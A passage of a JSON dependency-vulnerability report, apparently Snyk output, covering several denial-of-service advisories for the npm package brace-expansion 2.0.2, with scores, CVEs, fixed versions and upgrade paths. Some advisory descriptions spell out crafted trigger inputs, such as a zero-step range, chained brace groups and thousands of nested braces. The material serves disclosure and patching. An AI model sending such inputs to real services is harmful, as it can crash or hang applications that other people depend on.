"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
